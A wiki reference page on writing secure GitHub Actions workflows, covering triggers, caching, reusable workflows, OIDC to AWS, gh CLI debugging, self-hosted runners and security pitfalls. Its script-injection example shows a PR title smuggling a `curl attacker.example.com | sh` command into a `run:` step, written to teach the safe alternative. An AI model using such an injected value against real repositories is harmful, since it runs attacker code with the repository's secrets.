# GitHub Actions

> Write GitHub Actions workflows that are fast, least-privilege and hard to exploit: triggers, matrices, caching, reusable workflows, OIDC and debugging failed runs with gh.

Canonical: https://www.wiki.jodisand.me/github-actions/
Reviewed: 2026-09-24
Related: [Git](https://www.wiki.jodisand.me/git/index.md), [Go](https://www.wiki.jodisand.me/go/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md), [AWS](https://www.wiki.jodisand.me/aws/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md)


## Cheatsheet

| Task | Command |
| --- | --- |
| Recent runs | `gh run list --limit 20` |
| Runs of one workflow | `gh run list --workflow ci.yml --branch main` |
| Watch the run for the current commit | `gh run watch --exit-status` |
| Why did it fail | `gh run view <run-id> --log-failed` |
| Full log of one job | `gh run view --job <job-id> --log` |
| Re-run only failed jobs | `gh run rerun <run-id> --failed` |
| Re-run with debug logging | `gh run rerun <run-id> --debug` |
| Cancel | `gh run cancel <run-id>` |
| Download artifacts | `gh run download <run-id> -n dist` |
| Trigger a `workflow_dispatch` workflow | `gh workflow run deploy.yml -f env=staging --ref main` |
| List workflows and their state | `gh workflow list --all` |
| Disable a workflow | `gh workflow disable ci.yml` |
| Set a repository secret | `gh secret set API_TOKEN < token.txt` |
| Set an environment secret | `gh secret set API_TOKEN --env production` |
| Set a plain variable | `gh variable set REGION --body ap-southeast-2` |
| Lint workflows locally | `actionlint .github/workflows/*.yml` |
| Validate an expression | `echo '${{ github.ref }}'` in a `run:` step, read the log |
| Print the event payload | `cat "$GITHUB_EVENT_PATH" \| jq .` |
| Step output | `echo "sha=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"` |
| Environment variable for later steps | `echo "GOFLAGS=-mod=mod" >> "$GITHUB_ENV"` |
| Add to `PATH` for later steps | `echo "$HOME/.local/bin" >> "$GITHUB_PATH"` |
| Job summary | `echo '## Result' >> "$GITHUB_STEP_SUMMARY"` |
| Mask a value in logs | `echo "::add-mask::$value"` |

Syntax below is GitHub.com as of September 2026 and `gh` 2.x. Action majors are the current ones at review time; check each action's releases before copying. Reference: the [workflow syntax](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax) and [contexts](https://docs.github.com/en/actions/reference/workflows-and-actions/contexts) pages.

## How a run happens

A workflow is a YAML file under `.github/workflows/`. An event on the repository (push, pull request, schedule, manual dispatch, another workflow completing) matches the `on:` block of every workflow file on the ref that event points at, and each match creates a run. A run is a set of jobs; jobs run in parallel unless `needs:` orders them; each job is a fresh virtual machine or container running steps in order. A step is either `run:` (a shell script) or `uses:` (an action). Steps in one job share a filesystem and the environment written to `$GITHUB_ENV`; jobs share nothing except outputs, artifacts and caches.

The important consequences: the workflow file that runs is the one on the triggering ref (for `pull_request`, the merge commit of the PR; for `pull_request_target`, the base branch), and every job starts from a clean machine, so anything one job needs from another must be passed explicitly.

```yaml
name: ci
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions:
  contents: read          # workflow-wide default for GITHUB_TOKEN
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15     # default is 360; always set one
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod
      - run: go test ./...
```

## Triggers and filters

```yaml
on:
  push:
    branches: [main, "release/**"]
    paths: ["**.go", "go.mod", "go.sum", ".github/workflows/ci.yml"]
    tags-ignore: ["nightly-*"]
  pull_request:
    types: [opened, synchronize, reopened, ready_for_review]   # default: opened, synchronize, reopened
    paths-ignore: ["docs/**", "**.md"]
  schedule:
    - cron: "17 3 * * 1-5"     # UTC; avoid :00 to dodge the queue at the top of the hour
  workflow_dispatch:
    inputs:
      env:
        type: choice
        options: [staging, production]
        required: true
      dry_run:
        type: boolean
        default: true
  workflow_call:               # makes this a reusable workflow
    inputs:
      go-version: { type: string, default: "stable" }
    secrets:
      registry-token: { required: true }
  workflow_run:                # runs after another workflow finishes, on the default branch only
    workflows: [ci]
    types: [completed]
  release:
    types: [published]
```

`branches` and `paths` filters must both match. A workflow with a `paths` filter that does not match is skipped entirely, which breaks required status checks that expect it; use a separate lightweight job with `if:` instead when a check must always report. `schedule` runs only on the default branch and is disabled after 60 days without repository activity on public repositories.

Pushing a tag does not trigger `push: branches:`; list `tags:` as well. A push made with `GITHUB_TOKEN` never triggers another workflow, by design, to prevent loops; use a GitHub App token or a deploy key when a bot commit must trigger CI.

## Jobs, steps and matrices

```yaml
jobs:
  build:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false                 # keep the other cells running when one fails
      max-parallel: 4
      matrix:
        os: [ubuntu-latest, macos-latest]
        go: ["1.26", "1.27"]
        include:
          - os: ubuntu-latest
            go: "1.27"
            coverage: true             # extra key on one cell only
        exclude:
          - os: macos-latest
            go: "1.26"
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version: "${{ matrix.go }}" }
      - run: go test -race ./...
      - if: matrix.coverage
        run: go test -coverprofile=cover.out ./...

  deploy:
    needs: [build]                     # waits for every matrix cell
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    environment: production
    steps:
      - run: ./deploy.sh
```

`needs` makes outputs available as `needs.build.outputs.<name>` and skips the dependant when a dependency fails or is skipped. A job with `if: always()` still runs after failures; `if: ${{ !cancelled() }}` is the usual choice for reporting steps because `always()` also runs on cancellation.

Step outputs come from `$GITHUB_OUTPUT`; job outputs must be declared:

```yaml
jobs:
  meta:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.v.outputs.version }}
    steps:
      - id: v
        run: echo "version=$(git describe --tags --always)" >> "$GITHUB_OUTPUT"
  release:
    needs: meta
    runs-on: ubuntu-latest
    steps:
      - run: echo "releasing ${{ needs.meta.outputs.version }}"
```

`run:` on Linux and macOS uses `bash --noprofile --norc -eo pipefail {0}` when Bash is available, so a failing command or pipeline fails the step without an explicit `set -e`. Set `shell: bash` explicitly when the runner might be Windows or when relying on that behaviour in a container job. Multi-line scripts use `run: |`.

## Expressions and contexts

`${{ }}` is evaluated before the step runs; the result is substituted as text. Functions: `contains()`, `startsWith()`, `endsWith()`, `format()`, `join()`, `toJSON()`, `fromJSON()`, `hashFiles()`, and the status functions `success()`, `failure()`, `cancelled()`, `always()`.

| Context | Holds | Example |
| --- | --- | --- |
| `github` | Event, ref, SHA, actor, repository | `github.event.pull_request.number`, `github.ref_name` |
| `env` | Variables from `env:` blocks and `$GITHUB_ENV` | `env.GOFLAGS` |
| `vars` | Repository, environment and organisation variables | `vars.REGION` |
| `secrets` | Secrets, plus `secrets.GITHUB_TOKEN` | `secrets.API_TOKEN` |
| `steps` | Outputs and outcomes of earlier steps in the job | `steps.v.outputs.version`, `steps.test.outcome` |
| `needs` | Outputs and results of dependency jobs | `needs.build.result` |
| `matrix` | The current cell | `matrix.os` |
| `runner` | `os`, `arch`, `temp`, `tool_cache` | `runner.temp` |
| `inputs` | `workflow_dispatch` and `workflow_call` inputs | `inputs.env` |
| `job` | `status`, service container details | `job.services.postgres.ports[5432]` |

`if:` conditions are expressions already, so `if: github.event_name == 'push'` needs no braces. `hashFiles('**/go.sum')` is the standard cache key input. `fromJSON()` turns a string into a matrix:

```yaml
jobs:
  plan:
    runs-on: ubuntu-latest
    outputs:
      targets: ${{ steps.t.outputs.targets }}
    steps:
      - id: t
        run: echo 'targets=["api","worker","cron"]' >> "$GITHUB_OUTPUT"
  build:
    needs: plan
    strategy:
      matrix:
        target: ${{ fromJSON(needs.plan.outputs.targets) }}
    runs-on: ubuntu-latest
    steps:
      - run: make build TARGET=${{ matrix.target }}
```

## Secrets, permissions and GITHUB_TOKEN

`GITHUB_TOKEN` is minted per job and expires when the job ends. Its default scope is set per repository or organisation; new repositories default to read-only. Declare `permissions:` at the top of every workflow and widen per job. Any permission not listed in a `permissions:` block is set to `none`.

```yaml
permissions: {}                 # nothing at all by default
jobs:
  release:
    permissions:
      contents: write           # create the release
      packages: write           # push to ghcr.io
      id-token: write           # request an OIDC token
      attestations: write       # build provenance
```

Secrets are masked in logs by exact string match. A secret transformed (base64, split, JSON-encoded) is not masked; use `::add-mask::` on the derived value. Secrets are not passed to workflows triggered from forks on `pull_request`, and `secrets: inherit` is required for a reusable workflow to see the caller's secrets. Environment secrets are only readable by jobs that declare `environment:`.

Secrets never reach `if:` conditions reliably, because an unset secret is an empty string. Check `${{ secrets.API_TOKEN != '' }}` inside a `run:` step's environment instead.

```sh
gh secret set API_TOKEN --body "$API_TOKEN"            # repository secret
gh secret set API_TOKEN --env production --body "$API_TOKEN"
gh secret set DEPLOY_KEY --org my-org --repos my-app,my-lib < key.pem
gh secret list; gh variable list
```

## Caching and artifacts

Caches are keyed blobs shared across runs, scoped to the branch and its base branch, with a 10 GB per-repository limit and eviction after 7 days unused. Artifacts belong to one run and hold outputs to download or pass between jobs.

```yaml
      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod
          cache: true                             # caches the module and build cache keyed on go.sum
      - uses: actions/cache@v6
        with:
          path: |
            ~/.cache/golangci-lint
          key: lint-${{ runner.os }}-${{ hashFiles('.golangci.yml') }}
          restore-keys: lint-${{ runner.os }}-    # prefix match when the exact key misses
      - uses: actions/cache/restore@v6            # read-only half, for jobs that must not write
        with: { path: node_modules, key: npm-${{ hashFiles('package-lock.json') }} }
```

A cache entry is immutable: once a key exists it is never updated, so include the hash of whatever defines the contents in the key. `restore-keys` returns the newest entry with that prefix and the step then saves under the exact key. Caches written on a PR branch are visible only to that branch, which is why the first run after merge is cold; a scheduled job on `main` that warms the cache fixes it.

```yaml
      - uses: actions/upload-artifact@v7
        with:
          name: dist-${{ matrix.os }}             # names must be unique per run in v4+
          path: dist/
          retention-days: 5
          if-no-files-found: error
      - uses: actions/download-artifact@v8
        with:
          pattern: dist-*
          merge-multiple: true
          path: dist/
```

Artifacts are zipped; permissions and symlinks are lost. Upload a tarball when file modes matter. `gh run download <run-id>` fetches them locally.

## Reusable workflows and composite actions

A reusable workflow is a whole workflow with `on: workflow_call`, called as a job. A composite action is a bundle of steps, called as a step. Use a reusable workflow to standardise jobs (runner, permissions, environment); use a composite action to deduplicate steps inside a job.

```yaml
# .github/workflows/go-test.yml, the reusable workflow
on:
  workflow_call:
    inputs:
      go-version: { type: string, default: stable }
    outputs:
      coverage: { value: "${{ jobs.test.outputs.coverage }}" }
permissions: { contents: read }
jobs:
  test:
    runs-on: ubuntu-latest
    outputs: { coverage: "${{ steps.cov.outputs.pct }}" }
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version: "${{ inputs.go-version }}" }
      - run: go test -coverprofile=c.out ./...
      - id: cov
        run: echo "pct=$(go tool cover -func=c.out | awk '/^total/ {print $3}')" >> "$GITHUB_OUTPUT"
```

```yaml
# caller
jobs:
  test:
    uses: my-org/workflows/.github/workflows/go-test.yml@main   # or @<sha>
    with: { go-version: "1.27" }
    secrets: inherit
```

A caller can nest reusable workflows four levels deep and cannot pass `env:` into them. The called workflow sees the caller's `github` context, so `github.repository` is the caller, not the workflow's home.

```yaml
# .github/actions/setup/action.yml, a composite action
name: setup
inputs:
  go-version: { default: stable }
runs:
  using: composite
  steps:
    - uses: actions/setup-go@v7
      with: { go-version: "${{ inputs.go-version }}" }
    - run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest
      shell: bash                                  # required on every run: step in a composite
```

Called with `uses: ./.github/actions/setup` after checkout. Composite steps cannot use `if:` on `secrets` and cannot declare `permissions`.

## OIDC to AWS

The runner can request a short-lived JWT signed by GitHub for any job with `id-token: write`. AWS trusts that token through an IAM OIDC provider and a role whose trust policy restricts `sub` to a repository, branch or environment. No long-lived keys exist anywhere.

```yaml
permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-my-app-deploy
          role-session-name: gh-${{ github.run_id }}
          aws-region: ap-southeast-2
      - run: aws sts get-caller-identity
```

The trust policy on the role, in HCL for [Terraform](https://www.wiki.jodisand.me/terraform/):

```hcl
data "aws_iam_policy_document" "github_trust" {
  statement {
    actions = ["sts:AssumeRoleWithWebIdentity"]
    principals {
      type        = "Federated"
      identifiers = [aws_iam_openid_connect_provider.github.arn]
    }
    condition {
      test     = "StringEquals"
      variable = "token.actions.githubusercontent.com:aud"
      values   = ["sts.amazonaws.com"]
    }
    condition {
      test     = "StringEquals"
      variable = "token.actions.githubusercontent.com:sub"
      values   = ["repo:my-org/my-app:environment:production"]   # not repo:my-org/*:*
    }
  }
}
```

The `sub` claim is `repo:<owner>/<repo>:ref:refs/heads/<branch>` for branch pushes, `repo:<owner>/<repo>:environment:<name>` when the job declares an environment, and `repo:<owner>/<repo>:pull_request` for PRs. A wildcard on the repository lets any repository in the organisation assume the role. See [AWS](https://www.wiki.jodisand.me/aws/) for the CLI side.

## Concurrency and environments

```yaml
concurrency:
  group: deploy-${{ inputs.env }}
  cancel-in-progress: false      # queue deploys; never cancel one half way
```

One group runs one job at a time and, by default, keeps only one pending run: a third run replaces the queued second one. `queue: max` keeps up to 100 pending runs in order and cannot be combined with `cancel-in-progress: true`. PR workflows normally use `cancel-in-progress: true` keyed on `github.ref` so a new push cancels the stale run.

Environments add required reviewers, wait timers, branch and tag restrictions, and their own secrets and variables. A job with `environment: production` pauses for approval before any step runs and its OIDC `sub` claim carries the environment name, which is what the AWS trust policy above checks.

```yaml
    environment:
      name: production
      url: https://my-app.example.com     # shown on the deployment
```

## gh CLI for runs and logs

```sh
gh run list --workflow ci.yml --status failure --limit 10
gh run list --json databaseId,conclusion,headBranch,event --jq '.[] | select(.conclusion=="failure") | .databaseId'
gh run view 123456789                        # jobs and their status
gh run view 123456789 --log-failed           # only the steps that failed
gh run view 123456789 --job 987654321 --log  # one job, every line
gh run view 123456789 --log | grep -n '##\[error\]'
gh run watch 123456789 --exit-status         # block, exit non-zero on failure
gh run rerun 123456789 --failed
gh run download 123456789 --dir ./artifacts
gh workflow run deploy.yml --ref main -f env=production -f dry_run=false
gh api repos/{owner}/{repo}/actions/runs/123456789/timing
```

Runner and step debug logs need the `ACTIONS_STEP_DEBUG` and `ACTIONS_RUNNER_DEBUG` secrets or variables set to `true`, or `gh run rerun --debug`, which sets them for one run.

## Self-hosted runners

A self-hosted runner is a process that polls GitHub for jobs matching its labels. It keeps state between jobs unless it is ephemeral, so anything a job leaves on disk, including credentials in `~/.docker/config.json` or a cloned repository, is visible to the next job. Never attach a persistent self-hosted runner to a public repository; a PR from a fork can run code on it.

```yaml
    runs-on: [self-hosted, linux, x64, gpu]     # every label must match
    runs-on:
      group: build-large                        # runner group, org-level access control
      labels: [linux]
```

```sh
./config.sh --url https://github.com/my-org --token "$RUNNER_TOKEN" --ephemeral --labels linux,x64 --unattended
./svc.sh install && ./svc.sh start           # systemd unit for the runner
gh api orgs/my-org/actions/runners --jq '.runners[] | "\(.name)\t\(.status)\t\(.busy)"'
```

`--ephemeral` deregisters the runner after one job; pair it with an autoscaler (actions-runner-controller on [Kubernetes](https://www.wiki.jodisand.me/kubernetes/), or a VM pool) so each job lands on a fresh machine. Runner tokens from `config.sh` expire in an hour and only register; the runner then authenticates with a generated key.

## Example workflows

### Go test and release

```yaml
name: go
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions: { contents: read }
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with: { go-version-file: go.mod, cache: true }
      - run: go vet ./...
      - run: go test -race -coverprofile=cover.out ./...
      - uses: golangci/golangci-lint-action@v9
        with: { version: latest }
  release:
    needs: test
    if: startsWith(github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    timeout-minutes: 30
    permissions:
      contents: write        # upload release assets
      id-token: write        # cosign keyless signing
    steps:
      - uses: actions/checkout@v7
        with: { fetch-depth: 0 }             # goreleaser needs the tag history for the changelog
      - uses: actions/setup-go@v7
        with: { go-version-file: go.mod, cache: true }
      - uses: goreleaser/goreleaser-action@v7
        with:
          distribution: goreleaser
          version: "~> v2"
          args: release --clean
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
```

### Container build and push

```yaml
name: image
on:
  push:
    branches: [main]
    tags: ["v*"]
  pull_request:
permissions: { contents: read }
env:
  IMAGE: ghcr.io/${{ github.repository }}
jobs:
  image:
    runs-on: ubuntu-latest
    timeout-minutes: 30
    permissions:
      contents: read
      packages: write
      id-token: write
      attestations: write
    steps:
      - uses: actions/checkout@v7
      - uses: docker/setup-buildx-action@v4
      - uses: docker/login-action@v4
        if: github.event_name != 'pull_request'
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - id: meta
        uses: docker/metadata-action@v6
        with:
          images: ${{ env.IMAGE }}
          tags: |
            type=ref,event=branch
            type=ref,event=pr
            type=semver,pattern={{version}}
            type=sha
      - id: build
        uses: docker/build-push-action@v7
        with:
          context: .
          platforms: linux/amd64,linux/arm64
          push: ${{ github.event_name != 'pull_request' }}   # PRs build only
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          provenance: mode=max
      - uses: actions/attest-build-provenance@v4
        if: github.event_name != 'pull_request'
        with:
          subject-name: ${{ env.IMAGE }}
          subject-digest: ${{ steps.build.outputs.digest }}
          push-to-registry: true
```

`type=gha` stores BuildKit layers in the Actions cache, keyed by the Dockerfile stage. Deploy by digest (`${{ steps.build.outputs.digest }}`), not by the `sha-` tag, so the manifest that was tested is the one that runs. See [Docker](https://www.wiki.jodisand.me/docker/) for the Containerfile side.

### Hugo deploy to GitHub Pages

```yaml
name: pages
on:
  push: { branches: [main] }
  workflow_dispatch:
permissions: { contents: read }
concurrency: { group: pages, cancel-in-progress: false }
jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
        with: { submodules: recursive, fetch-depth: 0 }   # themes as submodules; history for lastmod
      - uses: peaceiris/actions-hugo@v3
        with: { hugo-version: latest, extended: true }
      - id: pages
        uses: actions/configure-pages@v6
      - run: hugo --gc --minify --baseURL "${{ steps.pages.outputs.base_url }}/"
        env: { HUGO_ENVIRONMENT: production }
      - uses: actions/upload-pages-artifact@v5
        with: { path: ./public }
  deploy:
    needs: build
    runs-on: ubuntu-latest
    permissions:
      pages: write
      id-token: write
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    steps:
      - id: deployment
        uses: actions/deploy-pages@v5
```

Pages must be set to "GitHub Actions" as the source in repository settings, or `deploy-pages` fails with a 404 on the deployment API.

## Security pitfalls

> [!WARNING] pull_request_target
> `pull_request_target` runs in the context of the base branch with write permissions and secrets, and then people check out `github.event.pull_request.head.sha` to "test the PR". That runs the fork's code with the repository's secrets. Use `pull_request` for anything that executes contributor code. If `pull_request_target` is unavoidable (labelling, commenting), never check out or build the head ref in it, and set `permissions:` to the minimum.

Script injection: an expression inside `run:` is substituted as text before the shell parses it. Any field an outsider controls (PR title, branch name, commit message, issue body, review comment) is a command injection vector.

```yaml
      - run: echo "Title: ${{ github.event.pull_request.title }}"   # title `"; curl attacker.example.com | sh; echo "` runs
      - run: echo "Title: $TITLE"                                    # safe: the value never touches the shell parser
        env:
          TITLE: ${{ github.event.pull_request.title }}
```

Pin third-party actions to a full commit SHA with the tag in a comment; tags can be moved. Dependabot or Renovate keep the SHA and comment in step.

```yaml
      - uses: actions/checkout@<full-40-character-sha> # v7.0.1
```

Resolve the SHA for a tag with `gh api repos/actions/checkout/commits/v7.0.1 --jq .sha`.

```yaml
```

Other rules that matter in practice: restrict which actions may run at the organisation level (verified creators plus an allow-list), require approval for first-time contributors, never `echo` a secret through a transform, do not use `GITHUB_TOKEN` with `write-all`, and do not run `curl | sh` from a URL you do not control. Artifacts are downloadable by anyone with read access to the repository, so an artifact containing a `.env` or a kubeconfig is a leak. Cache entries can be poisoned from a PR branch only for that branch, but a compromised default-branch cache is trusted by every branch; restore caches by exact key in release jobs.

## Oneliners

```sh
# IDs of the failed runs on main in the last day
gh run list --branch main --status failure --created "$(date -u -d '1 day ago' +%F)" --json databaseId --jq '.[].databaseId'

# Re-run every failed run of a workflow
gh run list --workflow ci.yml --status failure --json databaseId --jq '.[].databaseId' | xargs -n1 gh run rerun --failed

# Delete runs older than 30 days (destructive; removes logs and artifacts)
gh run list --limit 500 --json databaseId,createdAt --jq '.[] | select(.createdAt < (now - 30*86400 | todate)) | .databaseId' | xargs -n1 gh run delete

# Slowest jobs in the last 50 runs
gh run list --limit 50 --json databaseId --jq '.[].databaseId' | xargs -I{} gh api repos/{owner}/{repo}/actions/runs/{}/jobs --jq '.jobs[] | "\(.name)\t\((.completed_at|fromdate) - (.started_at|fromdate))s"' | sort -t$'\t' -k2 -nr | head

# Every action referenced in the repository, with versions
grep -rhoE 'uses: *[^ ]+' .github | sort | uniq -c | sort -rn

# Actions not pinned to a SHA
grep -rnE 'uses: *[^ ]+@(v[0-9]|main|master)' .github/workflows

# Cache usage and the biggest entries
gh cache list --limit 50 --sort size --order desc

# Delete every cache (safe; next run rebuilds)
gh cache delete --all

# Trigger a dispatch workflow and follow it
gh workflow run deploy.yml -f env=staging && sleep 5 && gh run watch "$(gh run list --workflow deploy.yml --limit 1 --json databaseId --jq '.[0].databaseId')" --exit-status

# Workflow file on the default branch, as GitHub sees it
gh api repos/{owner}/{repo}/contents/.github/workflows/ci.yml --jq .content | base64 -d

# Lint every workflow, including shellcheck of run: blocks
actionlint

# Check which OIDC claims a job would present (from a job with id-token: write)
curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Runner load across the organisation
gh api orgs/my-org/actions/runners --paginate --jq '.runners[] | select(.status=="online") | "\(.name)\t\(.busy)"'

# Artifacts of a run with sizes
gh api repos/{owner}/{repo}/actions/runs/123456789/artifacts --jq '.artifacts[] | "\(.name)\t\(.size_in_bytes)"'

# Print the event payload from inside a job
jq . "$GITHUB_EVENT_PATH"

# Job summary table from inside a job
{ echo '| Test | Result |'; echo '| --- | --- |'; echo "| unit | $RESULT |"; } >> "$GITHUB_STEP_SUMMARY"
```

## Scripts

Report workflows whose last run on the default branch failed, for a morning check across an organisation.

```sh
#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}
gh repo list "$org" --limit 200 --no-archived --json nameWithOwner,defaultBranchRef --jq '.[] | "\(.nameWithOwner)\t\(.defaultBranchRef.name)"' |
while IFS=$'\t' read -r repo branch; do
  gh run list -R "$repo" --branch "$branch" --limit 20 --json workflowName,conclusion,url,createdAt |
    jq -r --arg repo "$repo" '
      group_by(.workflowName) | map(sort_by(.createdAt) | last)
      | .[] | select(.conclusion == "failure")
      | "\($repo)\t\(.workflowName)\t\(.url)"'
done
```

Rotate a secret across every repository that has it, reading the new value from stdin once.

```sh
#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}; name=${2:?secret name required}
value=$(cat)                                  # read once; never on the command line
[[ -n $value ]] || { echo "empty value" >&2; exit 1; }
gh repo list "$org" --limit 500 --no-archived --json nameWithOwner --jq '.[].nameWithOwner' |
while read -r repo; do
  if gh secret list -R "$repo" --json name --jq '.[].name' | grep -qx "$name"; then
    printf '%s' "$value" | gh secret set "$name" -R "$repo"
    printf 'rotated %s in %s\n' "$name" "$repo"
  fi
done
```

Find unpinned or outdated actions in a repository and print the SHA for the tag currently in use.

```sh
#!/usr/bin/env bash
set -euo pipefail
grep -rhoE 'uses: *[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+(/[^@ ]+)?@[^ #]+' .github | sed 's/uses: *//' | sort -u |
while IFS=@ read -r action ref; do
  repo=${action%%/*}/${action#*/}; repo=${repo%%/*/*}      # owner/name, drop any sub-path
  if [[ $ref =~ ^[0-9a-f]{40}$ ]]; then continue; fi
  sha=$(gh api "repos/$repo/commits/$ref" --jq .sha 2>/dev/null || echo unresolved)
  printf '%s@%s\t%s\n' "$action" "$ref" "$sha"
done
```

## Troubleshooting

| Symptom | Cause | Fix |
| --- | --- | --- |
| Workflow does not trigger | Filter mismatch, workflow file not on the triggering ref, or push made with `GITHUB_TOKEN` | `gh api repos/{owner}/{repo}/actions/workflows` to see state; check `branches`/`paths`; use an App token for bot pushes |
| `Resource not accessible by integration` | `GITHUB_TOKEN` lacks the permission, or the event is a fork PR | Add the permission under `permissions:`; for forks, move the write to a `workflow_run` job |
| Secret is empty in a step | Fork PR, environment secret without `environment:`, or reusable workflow without `secrets: inherit` | `gh secret list --env`; check `github.event.pull_request.head.repo.fork` |
| `The process '/usr/bin/git' failed with exit code 128` | Checkout of a private submodule or another repository without a token | `with: { token: ${{ secrets.PAT }} }` or a deploy key |
| Cache never hits | Key includes something that changes every run, or the cache was written on another branch | `gh cache list`; key on `hashFiles('**/go.sum')`; warm on the default branch |
| `No space left on device` | 14 GB runner disk filled by Docker layers or the Go build cache | `docker system prune -af`, or `rm -rf /usr/share/dotnet /opt/ghc` at the start of the job |
| Step passes but should have failed | Shell without `pipefail`, or `continue-on-error` | `shell: bash` (default `-eo pipefail`), remove `continue-on-error`, check `steps.<id>.outcome` |
| Matrix job runs with the wrong value | Numbers such as `1.10` parsed as YAML floats | Quote versions: `["1.10", "1.27"]` |
| `Unable to resolve action, repository not found` | Private action, typo, or the organisation's action allow-list | Check settings under Actions permissions; grant access in the action repository's settings |
| Deploy job skipped with no error | A `needs` dependency was skipped, or `if:` referenced a context that was empty | `gh run view --json jobs`; use `if: ${{ !cancelled() && needs.build.result == 'success' }}` |
| OIDC `Not authorized to perform sts:AssumeRoleWithWebIdentity` | Trust policy `sub` does not match the branch or environment, or `id-token: write` missing | Decode the token (oneliner above) and compare `sub` to the policy |
| Job queued for a long time | No online runner with every requested label, or concurrency group full | `gh api orgs/my-org/actions/runners`; check `concurrency` |
| Logs missing the reason for a failure | Error printed by a nested tool without `::error::` | `gh run rerun --debug`, then `gh run view --log \| grep -n '##\[debug\]'` |
| `Error: Process completed with exit code 137` | Runner out of memory (7 GB on the standard Linux runner) | Reduce parallelism (`go test -p 2`), or use a larger runner |

## Further reading

- [Workflow syntax](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax)
- [Contexts and expressions](https://docs.github.com/en/actions/reference/workflows-and-actions/contexts)
- [Events that trigger workflows](https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows)
- [Security hardening for GitHub Actions](https://docs.github.com/en/actions/reference/security/secure-use)
- [OIDC in AWS](https://docs.github.com/en/actions/how-tos/secure-your-work/security-harden-deployments/oidc-in-aws)
- [gh run](https://cli.github.com/manual/gh_run)


